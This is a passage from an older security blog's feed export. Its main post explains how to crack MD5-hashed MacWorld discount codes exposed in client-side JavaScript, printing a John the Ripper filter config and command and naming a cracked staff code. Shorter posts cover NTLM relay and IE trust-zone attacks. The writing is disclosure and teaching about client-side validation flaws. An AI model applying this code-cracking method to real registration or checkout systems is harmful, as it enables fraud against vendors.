href="http://grutztopia.jingojango.net/2008/01/another-free-macworld-platinum-pass-yes.html"&gt;MacWorld Pass hack&lt;/a&gt;. I'll also give a brief bit on &lt;a href="http://grutz.jingojango.net/exploits/pokehashball.html"&gt;NTLM Single Signon (NTLMSSP) attacks&lt;/a&gt;. Looking forward and will update at the con!&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/5232882145667903492/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=5232882145667903492" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/5232882145667903492?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/5232882145667903492?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/298693964/heading-to-syscan-hong-kong.html" title="Heading to SyScan Hong Kong" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/05/heading-to-syscan-hong-kong.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-2819607694995413255</id><published>2008-02-22T14:54:00.001-08:00</published><updated>2008-02-22T15:20:04.892-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-02-22T15:20:04.892-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="OWASP" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">Your Client-Side Security Sucks</title><content type="html">Last night I presented at the local OWASP chapter titled "Your Client-Side Security Sucks: STOP USING IT (as your only method of security)" and the turn-out was great. I met some really awesome people and the subject matter, while not cutting-edge research, appeared to hit home.&lt;br /&gt;&lt;br /&gt;We, as Web Application people, are still making some simple mistakes. This presentation highlighted three REAL WORLD examples of client-side security done incorrectly.&lt;br /&gt;&lt;br /&gt;The PDF slides are available &lt;a href="http://grutz.jingojango.net/presentations/Your%20Client%20Security%20Sucks%20-%20OWASP.pdf"&gt;here&lt;/a&gt; and soon I'll have a QuickTime video with a voiceover. I LOOOOOVE Keynote now! It has such useless transformations that you must pull back or else the content will be lost. How awesome is that? Plus exporting to a QuickTime so others can enjoy your ego-boosting flame build-in!&lt;br /&gt;&lt;br /&gt;Rumor has it there will be an OWASP regional conference in the near future so hopefully I'll present this again with some improved slides and other real world examples. If you have any examples but don't want to "go public" yourself, let me know and I'll share them. This is one of the first things you're supposed to learn as a web developer so I have no problem exposing others. JavaScript, Java and Flash do not equate to protection! Shoot me an e-mail.&lt;br /&gt;&lt;br /&gt;The second presenter, as luck would have it, is working on a tool exactly like I had done for NTLM relay attacks! We had a good chat about where we both saw our tools going in the future. It has renewed my energy in completing the &lt;a href="http://grutz.jingojango.net/exploits/pokehashball.html"&gt;PokeHashBall tools&lt;/a&gt;&lt;br /&gt;at least. Thanks, eric!&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/2819607694995413255/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=2819607694995413255" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2819607694995413255?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/2819607694995413255?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/239673493/your-client-side-security-sucks.html" title="Your Client-Side Security Sucks" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/02/your-client-side-security-sucks.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7260676797085944761</id><published>2008-01-24T11:33:00.000-08:00</published><updated>2008-01-24T11:38:10.108-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-01-24T11:38:10.108-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="macintosh" /><category scheme="http://www.blogger.com/atom/ns#" term="macworld" /><title type="text">I Like Apple Products But I Am Not A MacHead</title><content type="html">Some have asked that because I've pick on MacWorld am I a &lt;a href="http://www.macheadthemovie.com/"&gt;MacHead&lt;/a&gt;?  The answer is no, but I do like Apple products. This will be a fun movie to see as there certainly is a cult of Mac, especially here in the Bay Area.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;object width="420" height="352"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/x44l1c"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/x44l1c" type="application/x-shockwave-flash" width="420" height="352" allowFullScreen="true" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x44l1c_macheads-the-movie-trailer_tech"&gt;Macheads - the movie (trailer)&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Uploaded by &lt;a href="http://www.dailymotion.com/brunogarattoni"&gt;brunogarattoni&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7260676797085944761/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7260676797085944761" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7260676797085944761?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7260676797085944761?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/222469876/i-like-apple-products-but-i-am-not.html" title="I Like Apple Products But I Am Not A MacHead" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/01/i-like-apple-products-but-i-am-not.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-3978396317229042764</id><published>2008-01-14T23:06:00.001-08:00</published><updated>2008-01-15T10:59:21.705-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2008-01-15T10:59:21.705-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="macworld" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">Another Free MacWorld Platinum Pass? Yes in 2008!</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_EOfriOpdNHM/R4zr6RPHEcI/AAAAAAAAAD8/vZjUfyzQYrE/s1600-h/MacWorld2K8-badge.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_EOfriOpdNHM/R4zr6RPHEcI/AAAAAAAAAD8/vZjUfyzQYrE/s400/MacWorld2K8-badge.jpg" alt="" id="BLOGGER_PHOTO_ID_5155755059724095938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Last year at this time I &lt;a href="http://grutztopia.jingojango.net/2007/01/your-free-macworld-expo-platinum-pass_11.html"&gt;disclosed an issue with the IDG/MacWorld Expo registration&lt;/a&gt; that allowed people Free Platinum Passes (valued at $1,695). I communicated this issue with IDG the week of MacWorld and they removed all the codes, fixed the site, and said thanks. Questions were asked on how to write better code and I gave them a few tips (don't trust user input, don't give your secret codes to everyone, encryption is not one-way, etc). Did they listen?&lt;br /&gt;&lt;br /&gt;Nope.&lt;br /&gt;&lt;br /&gt;&lt;insert badge="" picture=""&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Why Do I Do This?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Who wants to stand in line to see the Steve Jobs keynote at MacWorld? I mean have you SEEN the lines there? Really? I want to know WHATS IN THE AIR(tm)!!!&lt;br /&gt;&lt;br /&gt;Honestly it's academic to me. I didn't even go to the keynote. :P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Getting Your Golden (Well, Blue) Ticket:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This year the cost of Platinum Passes has gone up to $1,895. That's a lot of money but you get a &lt;a href="http://www.macworldexpo.com/about/packages_pricing"&gt;lot of cool things&lt;/a&gt;:&lt;br /&gt;&lt;/insert&gt;&lt;ul&gt;&lt;li&gt;A free lunch every day&lt;/li&gt;&lt;li&gt;Free ticket to the MacWorld Blast&lt;/li&gt;&lt;li&gt;Seminars (MacWorld is more than just the keynote and Expo)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Priority Access Line to the Keynote&lt;/li&gt;&lt;/ul&gt;&lt;insert badge="" picture=""&gt;You can see why the cost. Last year the word "CREDIT" provided a 100% discount on checkout. These are called &lt;a href="http://jeremiahgrossman.blogspot.com/2007/09/business-logic-flaws-freshly-minted.html"&gt;Application Logic Flaws&lt;/a&gt; and aren't new attacks but they can be &lt;a href="http://jeremiahgrossman.blogspot.com/2007/11/qvc-business-logic-flaw-nets-scammer.html"&gt;devastating&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Like last year IDG is  passing a long list of MD5 hashes to the client browser and validating them in JavaScript before sending a request to the server -- but that's really only a problem if the codes that give the discounts exist and are easily cracked. Lets see if we can get lucky this year.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Obtaining the codes -- Same as last year:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Step 1. Navigate to the &lt;a href="http://www.macworldexpo.com/registration/"&gt;main registration page&lt;/a&gt;&lt;a href="http://www.macworldexpo.com/registration/"&gt;&lt;/a&gt;&lt;br /&gt;Step 2. Submit your initial data and view the source of the main registration page, search for "Priority Code"&lt;br /&gt;Step 3. See the JavaScript "onchange" function? It's calling "check_password()"&lt;br /&gt;Step 4. Search for "check_password()" and you'll find the list of valid codes in MD5&lt;br /&gt;Step 5. Format the data for your cracker of choice and start cracking!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Cracking the codes:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I like &lt;a href="http://www.openwall.com/john/"&gt;John The Ripper&lt;/a&gt; for all my hash cracking needs. It's flexible, easy to use and affordable! There are two main methods used to crack passwords in John, using a wordlist or  incrementing through a given keyspace. I always begin with a wordlist run just to kick out the quickies. The hash for "NONE" breaks but we already know that doesn't do anything for us.&lt;br /&gt;&lt;br /&gt;Incremental mode is our next step but we know lower case letters aren't used so a quick look at the configuration file shows an external mode "Filter_LanMan" that throws everything to upper case. A quick run through doesn't net any cracked hashes unfortunately. There are still over 1,000 hashes to crack so we have to be a bit more intelligent in our cracking (or throw more machines, wait longer, get a PS3, etc).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;A Brief Cracking Sidebar:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Incremental cracking can take a long time to perform. The size of your keyspace (&lt;span style="font-style: italic;"&gt;k&lt;/span&gt;) and the maximum word length (&lt;span style="font-style: italic;"&gt;l&lt;/span&gt;) determine the total number of permutations that have to be encrypted to check every instance (&lt;span style="font-style: italic;"&gt;P&lt;/span&gt;). &lt;span style="font-style: italic;"&gt;P=k^l&lt;/span&gt;. Take the benchmark cracks-per-second your machine takes (&lt;span style="font-style: italic;"&gt;Cs&lt;/span&gt;), do the math (&lt;span style="font-style: italic;"&gt;P/Cs&lt;/span&gt;) and you have the number of seconds it takes to run an Incremental.&lt;br /&gt;&lt;br /&gt;For example lets make &lt;span style="font-style: italic;"&gt;k&lt;/span&gt; = 69, &lt;span style="font-style: italic;"&gt;l&lt;/span&gt; = 8 and &lt;span style="font-style: italic;"&gt;Cs&lt;/span&gt; = 30 million:&lt;br /&gt;&lt;/insert&gt;&lt;blockquote face="courier new"&gt; ((69^8)/30M) / 60 = 285,443.54 minutes (3.68 months!)&lt;br /&gt;&lt;/blockquote&gt;Changing &lt;span style="font-style: italic;"&gt;l&lt;/span&gt; for different lengths and the time changes accordingly:&lt;br /&gt;&lt;blockquote face="courier new"&gt; ((69^7)/30M) / 60 = 4,136.86 minutes for 7 chars&lt;br /&gt;((69^6)/30M) / 60 = 59.95 minutes for 6 chars&lt;/blockquote&gt;and so on. . . The time is cumulative and those are just my numbers. Some have found ways to increase the  speed to &lt;a href="http://www.google.com/search?q=nick+breese+ps3"&gt;1 billion cracks-per-second&lt;/a&gt;. Until that code is released or we write our own, we have to work with clusters of machines to reach that. My little cluster of 9 nodes can do just about 60 million MD5's a second so a full 8 character run would take nearly 2 months to complete.&lt;br /&gt;&lt;br /&gt;Now that you know the math and the big mountain ahead of us, how can we get on the gondola that takes you over half of it without much effort? The answer is simple, vendor codes and keyword masking!&lt;br /&gt;&lt;br /&gt;&lt;insert badge="" picture=""&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Here Come The Free Codes:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vendors receive a group of codes each to pass along to their customers, potential customers, friends, family, etc. These typically provide free Expo access but maybe they'll help trim down this mountain to something manageable. These free codes get passed around like candy so finding one takes a few &lt;a href="http://www.google.com/search?q=macworld+priority+code"&gt;Google searches&lt;/a&gt;. 08-G-PC189, 08-G-PC178, 08-G-PC260,&lt;/insert&gt; do you see the pattern?&lt;insert badge="" picture=""&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Time To Build An External Filter:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now that we have a mask (08-x-y(n)) time to modify the john.conf accordingly:&lt;/insert&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;div class="code"  style="border: 1px dotted rgb(160, 160, 160); margin: 0pt; padding: 0pt; overflow: auto; white-space: nowrap; background-color: rgb(240, 240, 240); color: rgb(0, 0, 187); width: 100%;font-family:'Courier New',Courier,monospace;"&gt;&lt;span class="br0"&gt;[&lt;/span&gt;Incremental:MW&lt;span class="br0"&gt;]&lt;/span&gt;&lt;br /&gt;File = $JOHN/lanman.&lt;span class="me1"&gt;chr&lt;/span&gt;&lt;br /&gt;MinLen = &lt;span class="nu0"&gt;6&lt;/span&gt;&lt;br /&gt;MaxLen = &lt;span class="nu0"&gt;6&lt;/span&gt;&lt;br /&gt;CharCount = &lt;span class="nu0"&gt;69&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;&lt;br /&gt;[&lt;/span&gt;List.&lt;span class="me1"&gt;External&lt;/span&gt;:MW&lt;span class="br0"&gt;]&lt;/span&gt;&lt;br /&gt;void filter&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;     int i, c;&lt;br /&gt;     i = &lt;span class="nu0"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;     while &lt;span class="br0"&gt;(&lt;/span&gt;c = word&lt;span class="br0"&gt;[&lt;/span&gt;i&lt;span class="br0"&gt;]&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt; &lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt;     &lt;span class="co1"&gt;        // If character is lower case, convert to upper&lt;/span&gt;&lt;br /&gt;             if &lt;span class="br0"&gt;(&lt;/span&gt;c &gt;= &lt;span class="st0"&gt;'a'&lt;/span&gt; &amp;amp;&amp;amp; c &lt;= &lt;span class="st0"&gt;'z'&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;br /&gt;          word&lt;span class="br0"&gt;[&lt;/span&gt;i&lt;span class="br0"&gt;]&lt;/span&gt; &amp;amp;= 0xDF;&lt;br /&gt;             i++;&lt;br /&gt; &lt;span class="br0"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="co1"&gt;    // We know the static filter 08-?-?????&lt;/span&gt;&lt;br /&gt; &lt;span class="co1"&gt;    // Add or remove word[]s to fit the incremental length&lt;/span&gt;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;9&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;5&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;8&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;4&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;7&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;3&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;6&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;2&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;5&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;4&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = &lt;span class="st0"&gt;'-'&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;3&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;2&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = &lt;span class="st0"&gt;'-'&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = &lt;span class="st0"&gt;'8'&lt;/span&gt;;&lt;br /&gt;  word&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt; = &lt;span class="st0"&gt;'0'&lt;/span&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;  With that, we run and wait...&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;span style="font-family:courier new;"&gt;# john -i=MW -e=MW mw2k8.codes --format=raw-MD5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Loaded 1341 password hashes with no different salts (Raw MD5 [raw-md5 SSE2])&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;.. but not too long because the first code looks REALLY interesting: 08-S-STAFF. Lets try it!&lt;br /&gt;&lt;br /&gt;&lt;embed style="width:640px; height:480px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-5737431513580266985&amp;hl=en" flashvars=""&gt; &lt;/embed&gt;&lt;br /&gt;Download the &lt;a href="http://grutz.jingojango.net/MacWorld2K8/MacWorld2K8.mov"&gt;High Quality&lt;/a&gt; version.&lt;br /&gt;&lt;br /&gt;Voila. For the second year in a row, a free Platinum Pass in less than a day.&lt;br /&gt;&lt;br /&gt;On January 7th we noticed the MD5 hashes changed in the source code. While the special code was still listed it no longer gave a 100% discount when entered. Some codes still provide a small percentage discount and a few do provide a free expo pass. We still have 14 codes left to crack so no telling if those are any good. :)&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="mailto:bernsteinj%20%5B%5Bat%5D%5D%20gmail.com"&gt;Josh Bernstein&lt;/a&gt; and &lt;a href="http://ggee.org/"&gt;Garrett Gee&lt;/a&gt; for reminding me MacWorld was coming up and independently confirming these findings.&lt;br /&gt;&lt;br /&gt;Maybe next year the problem will be fixed? Anyone in a betting mood? :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/3978396317229042764/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=3978396317229042764" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3978396317229042764?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3978396317229042764?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/217188667/another-free-macworld-platinum-pass-yes.html" title="Another Free MacWorld Platinum Pass? Yes in 2008!" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp2.blogger.com/_EOfriOpdNHM/R4zr6RPHEcI/AAAAAAAAAD8/vZjUfyzQYrE/s72-c/MacWorld2K8-badge.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2008/01/another-free-macworld-platinum-pass-yes.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-6123427713219264984</id><published>2007-11-15T07:00:00.000-08:00</published><updated>2007-11-15T07:45:20.224-08:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-11-15T07:45:20.224-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">IE Trust Zones</title><content type="html">This week is the joint OWASP/WASC conference in San Jose. Two days of web app nerds getting together and exchanging ideas about CSRF protections, web services, the Samy worm, etc. It's loads of fun! I'm a big OWASP supporter and push their information wherever possible. I'm always shocked when I hear "I've never heard of them" from a developer.&lt;br /&gt;&lt;br /&gt;Rsnake gave a presentation/rant about the sorry state of web security. Not that it's something that was created out of malice, just that we're seeing issues today that were never part of the original concept of the web. Just like spam was never on the minds of Ray and Dick when they &lt;a href="http://openmap.bbn.com/%7Etomlinso/ray/firstemailframe.html"&gt;created electronic mail&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;He briefly mentioned one of my favorite topics - Windows hashes. Then I read his blog entry describing Natron's ideas &lt;cite&gt;&lt;/cite&gt;for &lt;a href="http://ha.ckers.org/blog/20071112/effects-of-dns-rebinding-on-ies-trust-zones/"&gt;using DNS Pinning to affect the IE Trust Zone.&lt;/a&gt; It's an area I was thinking of but hadn't worked on yet because I was focused on the insider attack space. Awesome!&lt;br /&gt;&lt;br /&gt;Of course there are a few complications with the theory that have to be considered:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;If the attacker doesn't send the domain name in the Type message that the victim's computer is a member of, a dialog box will appear. People may still put their passwords in but the idea of mass transparent authentication capture isn't there.&lt;/li&gt;&lt;li&gt;IE Trust Zones are pretty akward in design. What constitutes an Intranet Zone site? Microsoft &lt;a href="http://support.microsoft.com/kb/174360"&gt;KB174360&lt;/a&gt; says: &lt;span style="font-style: italic;"&gt; By default, the Local Intranet zone contains all of the network     connections that were established by using a Universal Naming Convention (UNC)     path, and Web sites that bypass the proxy server or have names that do not     include periods (for example, http://local), provided that they are not     assigned to either the Restricted Sites or Trusted Sites zone.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;If a company is using a proxy server and you DNS Pin a name that doesn't have a FQDN at the end, that address may never be reached because IE won't use the defined proxy and attempt to connect directly to the attacker's IP address.&lt;/li&gt;&lt;/ol&gt;Another option I was thinking of would be somehow creating a Java or Flash proxy server but unfortunately their sandboxes have locked down any bind requests (unless someone has some mojo that gets around this). Flash doesn't support it and Java doesn't permit binds in applets.&lt;br /&gt;&lt;br /&gt;In any event the patch to Metasploit adding NTLM type message parsing was submitted back in October. I have some updates to send in but it's still functional. The pre-defined nonce hash catcher (pokehashball.rb) script is fairly complete and the HTTP-to-POP3 tool (psyduck-pop3.rb) is fun to play with. None of these attacks have been incorporated into Metasploit modules yet but that's still on the radar (smb_relay via HTTP).&lt;br /&gt;&lt;br /&gt;Visit &lt;a href="http://grutz.jingojango.net/exploits/pokehashball.html"&gt;http://grutz.jingojango.net/exploits/pokehashball.html&lt;/a&gt; for the code.&lt;br /&gt;&lt;br /&gt;Full Disclosure: This attack was first documented by &lt;a href="http://www.isecpartners.com/documents/NTLM_Unsafe.pdf"&gt;Jesse Burns at iSec Partners&lt;/a&gt; using jCIFS. Where's your code, Jesse?  :)&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/6123427713219264984/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=6123427713219264984" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6123427713219264984?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6123427713219264984?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/185275692/ie-trust-zones.html" title="IE Trust Zones" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/11/ie-trust-zones.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-3950547396310956740</id><published>2007-10-26T07:46:00.000-07:00</published><updated>2007-10-26T07:51:14.641-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-10-26T07:51:14.641-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="berksec" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="baysec" /><title type="text">Announcing BerkSec</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://grutz.jingojango.net/berksec/berksec-1007.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://grutz.jingojango.net/berksec/berksec-1007.gif" alt="" border="0" /&gt;&lt;/a&gt;Continuing the tradition of (NY|Chi|Bay|*)Sec groupings of 